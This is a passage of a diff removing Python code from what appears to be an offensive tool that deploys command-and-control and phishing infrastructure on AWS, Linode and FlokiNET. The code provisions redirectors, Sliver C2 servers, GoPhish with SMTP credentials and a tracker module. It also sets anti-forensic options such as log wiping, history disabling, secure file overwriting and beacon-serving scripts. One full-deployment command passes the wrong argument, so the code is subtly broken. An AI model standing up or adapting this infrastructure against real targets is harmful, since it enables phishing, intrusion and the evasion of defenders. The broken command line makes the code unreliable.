{instance_name} (ID: {instance_id})\n") - - try: - cleanup_cmd = f"aws ec2 terminate-instances --instance-ids {instance_id} --region {config.get('aws_region')}" - print(f"[+] Running cleanup command: {cleanup_cmd}") - subprocess.run(cleanup_cmd, shell=True, check=False) - print(f"[+] Terminated instance: {instance_name}") - - with open(log_file, 'a') as f: - f.write(f"Instance {instance_name} terminated successfully\n") - except Exception as cleanup_err: - print(f"[!] Failed to terminate instance {instance_name}: {cleanup_err}") - - with open(log_file, 'a') as f: - f.write(f"Failed to terminate instance {instance_name}: {cleanup_err}\n") - - # Clean up other AWS resources (key pairs, etc.) - for resource_type, resource_name in deployed_resources: - with open(log_file, 'a') as f: - f.write(f"Cleaning up {resource_type}: {resource_name}\n") - - try: - if resource_type == "key_pair": - cleanup_cmd = f"aws ec2 delete-key-pair --key-name {resource_name} --region {config.get('aws_region')}" - print(f"[+] Running cleanup command: {cleanup_cmd}") - subprocess.run(cleanup_cmd, shell=True, check=False) - print(f"[+] Deleted key pair: {resource_name}") - - # Also remove local key file - local_key_path = f"~/.ssh/{resource_name}.pem" - expanded_path = os.path.expanduser(local_key_path) - if os.path.exists(expanded_path): - os.remove(expanded_path) - print(f"[+] Removed local key file: {local_key_path}") - - with open(log_file, 'a') as f: - f.write(f"{resource_type} {resource_name} deleted successfully\n") - # Add more resource types here if needed - except Exception as cleanup_err: - print(f"[!] Failed to clean up {resource_type} {resource_name}: {cleanup_err}") - - with open(log_file, 'a') as f: - f.write(f"Failed to clean up {resource_type} {resource_name}: {cleanup_err}\n") - - with open(log_file, 'a') as f: - f.write(f"==== END CLEANUP ====\n\n") - -def deploy_linode(config): - """Deploy infrastructure using Linode provider with improved logging""" - print("[+] Deploying Linode infrastructure...") - - # Set Linode environment variables - os.environ['LINODE_TOKEN'] = config['linode_token'] - - # Prepare SSH key - ssh_key, ssh_key_content = prepare_ssh_key(config) - if not ssh_key or not ssh_key_content: - print("[-] Failed to prepare SSH key, aborting deployment") - return False, [], [] - - # Create logs directory - log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs") - os.makedirs(log_dir, exist_ok=True) - timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') - - # Only create one log file in the logs directory - log_file = os.path.join(log_dir, f"deployment_{timestamp}_linode.log") - - print(f"[+] Creating deployment log at: {log_file}") - - # Create a temporary inventory file for Ansible with detailed logging - inventory_file = f"inventory_linode_{int(time.time())}.yml" - with open(log_file, 'a') as f: - f.write(f"==== CREATING INVENTORY FILE: {inventory_file} ====\n") - - deployed_instances = [] - success = False - - try: - # Write inventory file - with open(inventory_file, 'w') as f: - f.write("---\n") - f.write("all:\n") - f.write(" vars:\n") - f.write(f" ansible_ssh_private_key_file: {ssh_key}\n") - f.write(f" ansible_user: {config.get('ssh_user', 'root')}\n") - f.write(f" ansible_python_interpreter: /usr/bin/python3\n") - f.write(" children:\n") - f.write(" redirectors:\n") - f.write(" hosts:\n") - f.write(" redirector:\n") - f.write(" ansible_host: '{{ redirector_ip }}'\n") - f.write(" c2servers:\n") - f.write(" hosts:\n") - f.write(" c2:\n") - f.write(" ansible_host: '{{ c2_ip }}'\n") - - # Log inventory file content - with open(log_file, 'a') as f: - f.write(f"INVENTORY CONTENT:\n") - with open(inventory_file, 'r') as inv: - f.write(inv.read()) - f.write("\n==== END INVENTORY FILE ====\n\n") - - # Generate default names if not provided - rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) - timestamp = int(time.time()) % 10000 # Last 4 digits of timestamp - redirector_name = config.get('redirector_name', f"srv-{rand_suffix}-{timestamp}") - c2_name = config.get('c2_name', f"node-{rand_suffix}-{timestamp}") - - # Update config with generated names for logging - config['redirector_name'] = redirector_name - config['c2_name'] = c2_name - - # Log important information - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYMENT INFORMATION ====\n") - f.write(f"SSH Key: {ssh_key}\n") - f.write(f"Redirector Name: {redirector_name}\n") - f.write(f"C2 Name: {c2_name}\n") - f.write(f"Domain: {config.get('domain', 'example.com')}\n") - f.write(f"==== END DEPLOYMENT INFORMATION ====\n\n") - - # Create vars.yml file for Ansible with variables - vars_file = f"temp_vars_{int(time.time())}.yml" - with open(vars_file, 'w') as f: - # Essential variables that must match playbook expectations - f.write(f"---\n") - f.write(f"linode_token: '{config['linode_token']}'\n") - f.write(f"redirector_name: '{redirector_name}'\n") - f.write(f"c2_name: '{c2_name}'\n") - f.write(f"region: '{config.get('linode_region', 'us-east')}'\n") - f.write(f"plan: '{config.get('size', 'g6-standard-1')}'\n") - f.write(f"domain: '{config.get('domain', 'example.com')}'\n") - f.write(f"letsencrypt_email: '{config.get('letsencrypt_email', 'admin@example.com')}'\n") - f.write(f"gophish_admin_port: '{config.get('gophish_admin_port', str(random.randint(2000, 9000)))}'\n") - f.write(f"smtp_auth_user: '{config.get('smtp_auth_user', f'user{random.randint(1000, 9999)}')}'\n") - # Only use alphanumeric characters for password to avoid escaping issues - password = config.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits, k=20))) - f.write(f"smtp_auth_pass: '{password}'\n") - f.write(f"ssh_key_path: '{ssh_key}'\n") - f.write(f"ssh_user: '{config.get('ssh_user', 'root')}'\n") - f.write(f"instance_label: '{c2_name if config.get('c2_only', False) else redirector_name}'\n") - f.write(f"linode_image: 'linode/debian11'\n") - # Boolean values - f.write(f"teardown: {str(config.get('teardown', False)).lower()}\n") - f.write(f"disable_history: {str(config.get('disable_history', True)).lower()}\n") - f.write(f"secure_memory: {str(config.get('secure_memory', True)).lower()}\n") - f.write(f"zero_logs: {str(config.get('zero_logs', True)).lower()}\n") - f.write(f"redirector_only: {str(config.get('redirector_only', False)).lower()}\n") - f.write(f"c2_only: {str(config.get('c2_only', False)).lower()}\n") - f.write(f"debug: {str(config.get('debug', False)).lower()}\n") - - # Make the vars file readable only by owner - os.chmod(vars_file, 0o600) - - # Log vars file creation - with open(log_file, 'a') as f: - f.write(f"==== CREATED VARS FILE: {vars_file} ====\n") - f.write(f"(File contains sensitive data, not logging content)\n") - f.write(f"==== END VARS FILE INFO ====\n\n") - - try: - # Execute deployment based on deployment mode - if config.get('redirector_only', False): - playbook = "Linode/redirector.yml" - cmd = f"ansible-playbook -i {inventory_file} {playbook} -e @{vars_file} -v" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING REDIRECTOR PLAYBOOK ====\n") - f.write(f"Command: {cmd}\n\n") - - print(f"[+] Running: {cmd}") - success, stdout, stderr = run_command_with_logging(cmd, config, log_file) - if not success: - print(f"[-] Redirector deployment failed. See {log_file} for details.") - # Get the deployed instance ID for cleanup - only if actually created - try: - linode_id = get_linode_id(redirector_name, config) - if linode_id: - deployed_instances.append((redirector_name, linode_id)) - except Exception as e: - print(f"[!] Note: No instance to clean up: {e}") - return False, [log_file], deployed_instances - - # Store redirector IP and key path for SSH access later - try: - linode_id = get_linode_id(redirector_name, config) - if linode_id: - deployed_instances.append((redirector_name, linode_id)) - config['redirector_ip'] = get_linode_ip(linode_id, config) - config['redirector_key_path'] = ssh_key - except Exception as e: - print(f"[!] Warning: Failed to get redirector IP: {e}") - - elif config.get('c2_only', False): - playbook = "Linode/c2.yml" - cmd = f"ansible-playbook -i {inventory_file} {playbook} -e @{vars_file} -v" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING C2 PLAYBOOK ====\n") - f.write(f"Command: {cmd}\n\n") - - print(f"[+] Running: {cmd}") - success, stdout, stderr = run_command_with_logging(cmd, config, log_file) - if not success: - print(f"[-] C2 server deployment failed. See {log_file} for details.") - # Get the deployed instance ID for cleanup - only if actually created - try: - linode_id = get_linode_id(c2_name, config) - if linode_id: - deployed_instances.append((c2_name, linode_id)) - except Exception as e: - print(f"[!] Note: No instance to clean up: {e}") - return False, [log_file], deployed_instances - - # Store C2 IP and key path for SSH access later - try: - linode_id = get_linode_id(c2_name, config) - if linode_id: - deployed_instances.append((c2_name, linode_id)) - config['c2_ip'] = get_linode_ip(linode_id, config) - config['c2_key_path'] = ssh_key - except Exception as e: - print(f"[!] Warning: Failed to get C2 IP: {e}") - - else: - # For full deployment, run redirector first, then C2 - redirector_cmd = f"ansible-playbook -i {inventory_file} Linode/redirector.yml -e @{redirector_name} -v" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING REDIRECTOR PLAYBOOK (FULL DEPLOYMENT) ====\n") - f.write(f"Command: {redirector_cmd}\n\n") - - print(f"[+] Running: {redirector_cmd}") - success, stdout, stderr = run_command_with_logging(redirector_cmd, config, log_file) - if not success: - print(f"[-] Redirector deployment failed. See {log_file} for details.") - # Get the deployed instance ID for cleanup - only if actually created - try: - linode_id = get_linode_id(redirector_name, config) - if linode_id: - deployed_instances.append((redirector_name, linode_id)) - except Exception as e: - print(f"[!] Note: No instance to clean up: {e}") - return False, [log_file], deployed_instances - - # Get and store redirector IP for C2 configuration - try: - linode_id = get_linode_id(redirector_name, config) - if linode_id: - deployed_instances.append((redirector_name, linode_id)) - redirector_ip = get_linode_ip(linode_id, config) - config['redirector_ip'] = redirector_ip - config['redirector_key_path'] = ssh_key - - # Update vars file with redirector IP - with open(vars_file, 'a') as f: - f.write(f"redirector_ip: '{redirector_ip}'\n") - - with open(log_file, 'a') as f: - f.write(f"==== UPDATED VARS FILE WITH REDIRECTOR IP ====\n") - f.write(f"redirector_ip: {redirector_ip}\n") - f.write(f"==== END UPDATED VARS ====\n\n") - except Exception as e: - print(f"[!] Warning: Failed to get redirector IP: {e}") - return False, [log_file], deployed_instances - - # Then deploy C2 server with redirector IP - c2_cmd = f"ansible-playbook -i {inventory_file} Linode/c2.yml -e @{vars_file} -v" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING C2 PLAYBOOK (FULL DEPLOYMENT) ====\n") - f.write(f"Command: {c2_cmd}\n\n") - - print(f"[+] Running: {c2_cmd}") - success, stdout, stderr = run_command_with_logging(c2_cmd, config, log_file) - if not success: - print(f"[-] C2 server deployment failed. See {log_file} for details.") - # Get the deployed instance ID for cleanup - only if actually created - try: - linode_id = get_linode_id(c2_name, config) - if linode_id: - deployed_instances.append((c2_name, linode_id)) - except Exception as e: - print(f"[!] Note: No instance to clean up: {e}") - return False, [log_file], deployed_instances - - # Store C2 IP and key path for SSH access later - try: - linode_id = get_linode_id(c2_name, config) - if linode_id: - deployed_instances.append((c2_name, linode_id)) - config['c2_ip'] = get_linode_ip(linode_id, config) - config['c2_key_path'] = ssh_key - except Exception as e: - print(f"[!] Warning: Failed to get C2 IP: {e}") - - finally: - # Securely remove the vars file - try: - if os.path.exists(vars_file): - # Overwrite with random data before removing - with open(vars_file, 'wb') as f: - f.write(os.urandom(1024)) - os.remove(vars_file) - with open(log_file, 'a') as f: - f.write(f"==== SECURELY REMOVED VARS FILE ====\n") - except Exception as e: - print(f"[!] Warning: Failed to clean up vars file: {e}") - - # Deploy tracker if requested - if config.get('deploy_tracker'): - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYING TRACKER MODULE ====\n") - - tracker_success = deploy_tracker_module(config) - - with open(log_file, 'a') as f: - f.write(f"Tracker deployment {'succeeded' if tracker_success else 'failed'}\n") - f.write(f"==== END TRACKER DEPLOYMENT ====\n\n") - - if not tracker_success: - print("[!] Warning: Tracker deployment failed, but continuing with main deployment") - - print("[+] Linode infrastructure deployed successfully!") - success = True - - # Log success - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYMENT SUCCESSFUL ====\n") - f.write(f"Deployed instances: {', '.join([n for n, _ in deployed_instances])}\n") - if 'redirector_ip' in config: - f.write(f"Redirector IP: {config['redirector_ip']}\n") - if 'c2_ip' in config: - f.write(f"C2 IP: {config['c2_ip']}\n") - f.write(f"==== END DEPLOYMENT SUCCESS ====\n\n") - - return success, [log_file], deployed_instances - - except Exception as e: - # Log exception details - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYMENT ERROR ====\n") - f.write(f"Error: {str(e)}\n") - import traceback - f.write(f"Traceback: {traceback.format_exc()}\n") - f.write(f"==== END DEPLOYMENT ERROR ====\n\n") - - print(f"[-] Error: Failed to deploy Linode infrastructure: {e}") - - # Additional error information - with open(log_file, 'a') as f: - f.write(f"Failed deployment, deployed instances that need cleanup: {deployed_instances}\n") - - return False, [log_file], deployed_instances - - finally: - # Clean up temporary inventory file - if os.path.exists(inventory_file): - with open(log_file, 'a') as f: - f.write(f"==== REMOVING INVENTORY FILE ====\n") - f.write(f"Removing file: {inventory_file}\n") - - os.remove(inventory_file) - - with open(log_file, 'a') as f: - f.write(f"Inventory file removed successfully\n") - f.write(f"==== END REMOVAL ====\n\n") - - # If failure, clean up deployed instances with better error handling - if not success and deployed_instances: - with open(log_file, 'a') as f: - f.write(f"==== CLEANING UP DEPLOYED INSTANCES ====\n") - - print(f"[!] Cleaning up deployed instances due to failure...") - - for instance_name, instance_id in deployed_instances: - with open(log_file, 'a') as f: - f.write(f"Checking if instance exists: {instance_name} (ID: {instance_id})\n") - - # First verify if the instance actually exists before attempting deletion - instance_exists = False - try: - # Check if instance exists - check_cmd = f"linode-cli linodes list --json --label {instance_name}" - result = subprocess.run(check_cmd, shell=True, check=False, capture_output=True, text=True) - if result.returncode == 0 and result.stdout.strip() != "[]" and result.stdout.strip() != "": - instance_exists = True - with open(log_file, 'a') as f: - f.write(f"Instance {instance_name} exists and will be deleted\n") - else: - with open(log_file, 'a') as f: - f.write(f"Instance {instance_name} doesn't exist or already deleted\n") - except Exception as check_err: - print(f"[!] Error checking if instance exists: {check_err}") - with open(log_file, 'a') as f: - f.write(f"Error checking instance: {check_err}\n") - - # Only attempt deletion if the instance exists - if instance_exists: - try: - cleanup_cmd = f"linode-cli linodes delete {instance_id} --yes" - print(f"[+] Running cleanup command: {cleanup_cmd}") - subprocess.run(cleanup_cmd, shell=True, check=False) - print(f"[+] Deleted instance: {instance_name}") - - with open(log_file, 'a') as f: - f.write(f"Instance {instance_name} deleted successfully\n") - except Exception as cleanup_err: - print(f"[!] Failed to delete instance {instance_name}: {cleanup_err}") - - with open(log_file, 'a') as f: - f.write(f"Failed to delete instance {instance_name}: {cleanup_err}\n") - - with open(log_file, 'a') as f: - f.write(f"==== END CLEANUP ====\n\n") - - # If this is a new key and deployment failed, remove it - if not success and ssh_key and ssh_key.startswith(os.path.expanduser("~/.ssh/c2itall_")): - try: - with open(log_file, 'a') as f: - f.write(f"==== REMOVING GENERATED SSH KEY ====\n") - f.write(f"Removing SSH key: {ssh_key}\n") - - os.remove(ssh_key) - if os.path.exists(f"{ssh_key}.pub"): - os.remove(f"{ssh_key}.pub") - print(f"[+] Removed generated SSH key due to deployment failure") - - with open(log_file, 'a') as f: - f.write(f"SSH key removed successfully\n") - f.write(f"==== END SSH KEY REMOVAL ====\n\n") - except Exception as key_err: - print(f"[!] Failed to remove SSH key {ssh_key}: {key_err}") - - with open(log_file, 'a') as f: - f.write(f"Failed to remove SSH key: {key_err}\n") - f.write(f"==== END SSH KEY REMOVAL ====\n\n") - -def deploy_flokinet(config): - """Deploy infrastructure using FlokiNET provider""" - print("[+] Deploying FlokiNET infrastructure...") - - # Prepare SSH key - ssh_key, ssh_key_content = prepare_ssh_key(config) - if not ssh_key or not ssh_key_content: - print("[-] Failed to prepare SSH key, aborting deployment") - return False, [], [] - - # Create logs directory - log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs") - os.makedirs(log_dir, exist_ok=True) - timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') - - # Only create one log file in the logs directory - log_file = os.path.join(log_dir, f"deployment_{timestamp}_flokinet.log") - - print(f"[+] Creating deployment log at: {log_file}") - - # OPSEC: Use the random SSH port from config - ssh_port = config.get('ssh_port', random.randint(20000, 65000)) - print(f"[+] Using SSH port: {ssh_port}") - - # Prompt for IP addresses if not provided - redirector_ip = config.get('flokinet_redirector_ip') - c2_ip = config.get('flokinet_c2_ip') - - # Handle partial deployment modes - if config['redirector_only'] and not redirector_ip: - redirector_ip = input("[?] Enter FlokiNET redirector IP address: ") - if not redirector_ip: - print("[-] Error: Redirector IP is required for deployment") - return False, [], [] - # Use a placeholder for C2 if we're only deploying redirector - c2_ip = "127.0.0.1" - - elif config['c2_only'] and not c2_ip: - c2_ip = input("[?] Enter FlokiNET C2 server IP address: ") - if not c2_ip: - print("[-] Error: C2 server IP is required for deployment") - return False, [], [] - - # If we're only deploying C2, but need redirector IP for configuration - if not redirector_ip: - # Try to read existing redirector IP from saved config - try: - with open('FlokiNET/vars.yaml', 'r') as f: - existing_config = yaml.safe_load(f) - if existing_config and 'redirector_ip' in existing_config: - redirector_ip = existing_config['redirector_ip'] - if redirector_ip == "__REDIRECTOR_IP__": # Placeholder - redirector_ip = None - except (FileNotFoundError, yaml.YAMLError): - pass - - # If still no redirector IP, prompt for it - if not redirector_ip: - redirector_ip = input("[?] Enter existing redirector IP address (needed for C2 configuration): ") - if not redirector_ip: - print("[-] Error: Existing redirector IP is required to configure C2 server") - return False, [], [] - - # Full deployment - need both IPs - elif not config['redirector_only'] and not config['c2_only']: - if not redirector_ip: - redirector_ip = input("[?] Enter FlokiNET redirector IP address: ") - if not c2_ip: - c2_ip = input("[?] Enter FlokiNET C2 server IP address: ") - - if not redirector_ip or not c2_ip: - print("[-] Error: Both redirector and C2 IPs are required for full deployment") - return False, [], [] - - # Update config with obtained IPs - config['flokinet_redirector_ip'] = redirector_ip - config['flokinet_c2_ip'] = c2_ip - - # Create FlokiNET directory if it doesn't exist - if not os.path.exists('FlokiNET'): - print("[+] Creating FlokiNET directory structure...") - os.makedirs('FlokiNET', exist_ok=True) - - # Prepare vars.yaml with dynamic IPs - prepare_flokinet_vars(config) - - # Log important information - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYMENT INFORMATION ====\n") - f.write(f"SSH Key: {ssh_key}\n") - f.write(f"SSH Port: {ssh_port}\n") - f.write(f"Redirector IP: {redirector_ip}\n") - f.write(f"C2 IP: {c2_ip}\n") - f.write(f"Domain: {config.get('domain', 'example.com')}\n") - f.write(f"==== END DEPLOYMENT INFORMATION ====\n\n") - - # Create temporary inventory files for Ansible with randomized names for OPSEC - inventory_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6)) - redirector_inventory = None - c2_inventory = None - - deployed_resources = [] - success = False - - try: - # Track resources for potential cleanup - deployed_resources = [ - ("redirector_ip", redirector_ip), - ("c2_ip", c2_ip) - ] - - if not config['c2_only']: - redirector_inventory = f'inventory_r_{inventory_suffix}.yml' - with open(redirector_inventory, 'w') as f: - os.chmod(redirector_inventory, 0o600) # Secure permissions - f.write("---\n") - f.write("redirector:\n") - f.write(f" hosts:\n") - f.write(f" redirector:\n") - f.write(f" ansible_host: {redirector_ip}\n") - f.write(f" ansible_user: {config['ssh_user']}\n") - f.write(f" ansible_ssh_private_key_file: {ssh_key}\n") - f.write(f" ansible_python_interpreter: /usr/bin/python3\n") - f.write(f" ansible_port: {ssh_port}\n") # Use custom SSH port - - # Log inventory file content - with open(log_file, 'a') as f: - f.write(f"==== REDIRECTOR INVENTORY: {redirector_inventory} ====\n") - with open(redirector_inventory, 'r') as inv: - f.write(inv.read()) - f.write("\n==== END REDIRECTOR INVENTORY ====\n\n") - - if not config['redirector_only']: - c2_inventory = f'inventory_c_{inventory_suffix}.yml' - with open(c2_inventory, 'w') as f: - os.chmod(c2_inventory, 0o600) # Secure permissions - f.write("---\n") - f.write("c2:\n") - f.write(f" hosts:\n") - f.write(f" c2:\n") - f.write(f" ansible_host: {c2_ip}\n") - f.write(f" ansible_user: {config['ssh_user']}\n") - f.write(f" ansible_ssh_private_key_file: {ssh_key}\n") - f.write(f" ansible_python_interpreter: /usr/bin/python3\n") - f.write(f" ansible_port: {ssh_port}\n") # Use custom SSH port - - # Log inventory file content - with open(log_file, 'a') as f: - f.write(f"==== C2 INVENTORY: {c2_inventory} ====\n") - with open(c2_inventory, 'r') as inv: - f.write(inv.read()) - f.write("\n==== END C2 INVENTORY ====\n\n") - - # Build extra vars string - extra_vars = { - 'redirector_ip': redirector_ip, - 'c2_ip': c2_ip, - 'disable_history': config.get('disable_history', True), - 'secure_memory': config.get('secure_memory', True), - 'zero_logs': config.get('zero_logs', True), - 'domain': config.get('domain', 'example.com'), - 'letsencrypt_email': config.get('letsencrypt_email', 'admin@example.com'), - 'gophish_admin_port': config.get('gophish_admin_port', str(random.randint(2000, 9000))), - 'smtp_auth_user': config.get('smtp_auth_user', f"user{random.randint(1000, 9999)}"), - 'smtp_auth_pass': config.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))), - 'ssh_port': ssh_port, - 'ssh_key_path': ssh_key, - 'ssh_user': config.get('ssh_user', 'root'), - } - - # Format extra vars for command line, handling special characters - extra_vars_list = [] - for k, v in extra_vars.items(): - if isinstance(v, bool): - extra_vars_list.append(f"{k}={str(v).lower()}") - elif isinstance(v, (int, float)): - extra_vars_list.append(f"{k}={v}") - elif isinstance(v, str): - # Escape quotes in string values - escaped_v = v.replace("'", "'\\''") - extra_vars_list.append(f"{k}='{escaped_v}'") - - extra_vars_str = " ".join(extra_vars_list) - - # Log extra vars for debugging (masking sensitive info) - with open(log_file, 'a') as f: - f.write("==== EXTRA VARS ====\n") - for k, v in extra_vars.items(): - if k in ['smtp_auth_pass']: - v_masked = str(v)[:4] + '****' if v else 'None' - f.write(f"{k}: {v_masked}\n") - else: - f.write(f"{k}: {v}\n") - f.write("==== END EXTRA VARS ====\n\n") - - # Common provisioning for both servers - if not config['c2_only'] and redirector_inventory: - print("[+] Provisioning FlokiNET redirector...") - cmd = f"ansible-playbook -i {redirector_inventory} FlokiNET/provision.yml -e '{extra_vars_str}'" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING REDIRECTOR PROVISION PLAYBOOK ====\n") - f.write(f"Command: {cmd}\n\n") - - if config['debug']: - print(f"[+] Running: {cmd}") - - success, stdout, stderr = run_command_with_logging(cmd, config, log_file) - if not success: - print(f"[-] Redirector provisioning failed. See {log_file} for details.") - return False, [log_file], deployed_resources - - # Run redirector-specific playbook - print("[+] Configuring FlokiNET redirector...") - cmd = f"ansible-playbook -i {redirector_inventory} FlokiNET/redirector.yml -e '{extra_vars_str}'" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING REDIRECTOR CONFIGURATION PLAYBOOK ====\n") - f.write(f"Command: {cmd}\n\n") - - if config['debug']: - print(f"[+] Running: {cmd}") - - success, stdout, stderr = run_command_with_logging(cmd, config, log_file) - if not success: - print(f"[-] Redirector configuration failed. See {log_file} for details.") - return False, [log_file], deployed_resources - - # Store SSH key path for later - config['redirector_ip'] = redirector_ip - config['redirector_key_path'] = ssh_key - - if not config['redirector_only'] and c2_inventory: - print("[+] Provisioning FlokiNET C2 server...") - cmd = f"ansible-playbook -i {c2_inventory} FlokiNET/provision.yml -e '{extra_vars_str}'" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING C2 PROVISION PLAYBOOK ====\n") - f.write(f"Command: {cmd}\n\n") - - if config['debug']: - print(f"[+] Running: {cmd}") - - success, stdout, stderr = run_command_with_logging(cmd, config, log_file) - if not success: - print(f"[-] C2 server provisioning failed. See {log_file} for details.") - return False, [log_file], deployed_resources - - # Run C2-specific playbook - print("[+] Configuring FlokiNET C2 server...") - cmd = f"ansible-playbook -i {c2_inventory} FlokiNET/c2.yml -e '{extra_vars_str}'" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING C2 CONFIGURATION PLAYBOOK ====\n") - f.write(f"Command: {cmd}\n\n") - - if config['debug']: - print(f"[+] Running: {cmd}") - - success, stdout, stderr = run_command_with_logging(cmd, config, log_file) - if not success: - print(f"[-] C2 server configuration failed. See {log_file} for details.") - return False, [log_file], deployed_resources - - # Store SSH key path for later - config['c2_ip'] = c2_ip - config['c2_key_path'] = ssh_key - - # Deploy tracker if requested - if config.get('deploy_tracker'): - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYING TRACKER MODULE ====\n") - - tracker_success = deploy_tracker_module(config) - - with open(log_file, 'a') as f: - f.write(f"Tracker deployment {'succeeded' if tracker_success else 'failed'}\n") - f.write(f"==== END TRACKER DEPLOYMENT ====\n\n") - - if not tracker_success: - print("[!] Warning: Tracker deployment failed, but continuing with main deployment") - - print("[+] FlokiNET infrastructure deployed successfully!") - success = True - - # Log success - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYMENT SUCCESSFUL ====\n") - if not config['c2_only']: - f.write(f"Redirector IP: {redirector_ip}\n") - if not config['redirector_only']: - f.write(f"C2 IP: {c2_ip}\n") - f.write(f"==== END DEPLOYMENT SUCCESS ====\n\n") - - return success, [log_file], deployed_resources - - except Exception as e: - # Log exception details - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYMENT ERROR ====\n") - f.write(f"Error: {str(e)}\n") - import traceback - f.write(f"Traceback: {traceback.format_exc()}\n") - f.write(f"==== END DEPLOYMENT ERROR ====\n\n") - - print(f"[-] Error: Failed to deploy FlokiNET infrastructure: {e}") - - return False, [log_file], deployed_resources - - finally: - # Clean up temporary inventory files - for inv_file in [redirector_inventory, c2_inventory]: - if inv_file and os.path.exists(inv_file): - # Securely overwrite before removal for better OPSEC - with open(inv_file, 'w') as f: - f.write('\0' * 1024) # Overwrite with null bytes - os.remove(inv_file) - - with open(log_file, 'a') as f: - f.write(f"Inventory file {inv_file} removed successfully\n") - - if config.get('debug'): - print(f"[+] Removed temporary inventory file: {inv_file}") - - # If this is a new key and deployment failed, remove it - if not success and ssh_key and ssh_key.startswith(os.path.expanduser("~/.ssh/c2itall_")): - try: - with open(log_file, 'a') as f: - f.write(f"==== REMOVING GENERATED SSH KEY ====\n") - f.write(f"Removing SSH key: {ssh_key}\n") - - os.remove(ssh_key) - if os.path.exists(f"{ssh_key}.pub"): - os.remove(f"{ssh_key}.pub") - print(f"[+] Removed generated SSH key due to deployment failure") - - with open(log_file, 'a') as f: - f.write(f"SSH key removed successfully\n") - f.write(f"==== END SSH KEY REMOVAL ====\n\n") - except Exception as key_err: - print(f"[!] Failed to remove SSH key {ssh_key}: {key_err}") - - with open(log_file, 'a') as f: - f.write(f"Failed to remove SSH key: {key_err}\n") - f.write(f"==== END SSH KEY REMOVAL ====\n\n") - -def prepare_flokinet_vars(config): - """Prepare FlokiNET vars.yaml with dynamic values""" - vars_file = 'FlokiNET/vars.yaml' - - # Check if template exists, create it if not - if not os.path.exists(vars_file): - # Default template content with enhanced OPSEC - template = { - 'flokinet_region_choices': ['iceland', 'romania', 'finland', 'netherlands'], - 'redirector_ip': config['flokinet_redirector_ip'], - 'c2_ip': config['flokinet_c2_ip'], - 'domain': config['domain'], - 'redirector_subdomain': 'cdn', - 'c2_subdomain': 'mail', - 'letsencrypt_email': config['letsencrypt_email'], - 'ssh_port': config.get('ssh_port', random.randint(20000, 65000)), - 'ssh_user': config['ssh_user'], - 'ssh_key_path': config.get('ssh_key', '~/.ssh/id_ed25519.pub'), - 'c2_framework': 'sliver', - 'shell_handler_port': random.randint(10000, 65000), # Random port for better OPSEC - 'shell_handler_protocol': 'http', - 'disable_history': config['disable_history'], - 'secure_memory': config['secure_memory'], - 'zero_logs': config['zero_logs'], - 'log_rotation_hours': 6, - 'secure_delete_tools': True, - 'memory_clear_interval': 60, - 'infrastructure_lifespan': 72, - 'auto_rotate_certs': True, - 'cert_rotation_days': 30, - 'gophish_admin_port': config.get('gophish_admin_port', str(random.randint(2000, 9000))), - 'gophish_admin_domain': f"admin.{config['domain']}", - 'gophish_site_domain': f"portal.{config['domain']}", - 'smtp_auth_user': config.get('smtp_auth_user', f"user{random.randint(1000, 9999)}"), - 'smtp_auth_pass': config.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))) - } - - # Write template to file with secure permissions - with open(vars_file, 'w') as f: - os.chmod(vars_file, 0o600) # Readable only by owner - yaml.dump(template, f, default_flow_style=False) - print(f"[+] Created new FlokiNET configuration in {vars_file} (mode 0600)") - else: - # Read existing vars - with open(vars_file, 'r') as f: - vars_data = yaml.safe_load(f) - - # Update with dynamic values - vars_data['redirector_ip'] = config['flokinet_redirector_ip'] - vars_data['c2_ip'] = config['flokinet_c2_ip'] - - # Update domain and email if provided - vars_data['domain'] = config['domain'] - vars_data['letsencrypt_email'] = config['letsencrypt_email'] - - # Update OPSEC settings - vars_data['disable_history'] = config['disable_history'] - vars_data['secure_memory'] = config['secure_memory'] - vars_data['zero_logs'] = config['zero_logs'] - vars_data['ssh_port'] = config.get('ssh_port', vars_data.get('ssh_port', 22222)) - - # Write updated vars back to file - with open(vars_file, 'w') as f: - yaml.dump(vars_data, f, default_flow_style=False) - print(f"[+] Updated existing FlokiNET configuration in {vars_file}") - -def ensure_provider_files_exist(config): - """Ensure necessary files exist for the provider""" - provider = config['provider'] - # Check for required directories - if not os.path.exists(provider): - print(f"[+] Creating {provider} directory structure...") - os.makedirs(provider, exist_ok=True) - - # Basic file existence checks - required_files = { - 'AWS': ['redirector.yml', 'c2.yml'], - 'Linode': ['redirector.yml', 'c2.yml'], - 'FlokiNET': ['provision.yml', 'redirector.yml', 'c2.yml'] - } - - # Check for shared files directory - if not os.path.exists('files'): - print("[+] Creating shared files directory...") - os.makedirs('files', exist_ok=True) - - # Check for essential OPSEC scripts - essential_scripts = [ - 'clean-logs.sh', - 'persistent-listener.sh', - 'secure-exit.sh', - 'serve-beacons.sh' - ] - - missing_files = [] - - # Check provider-specific files - for file in required_files.get(provider, []): - full_path = f"{provider}/{file}" - if not os.path.exists(full_path): - missing_files.append(full_path) - - # Check shared OPSEC scripts - for script in essential_scripts: - if not os.path.exists(f"files/{script}"): - missing_files.append(f"files/{script}") - - if missing_files: - print(f"[!] Warning: The following files are missing:") - for file in missing_files: - print(f" 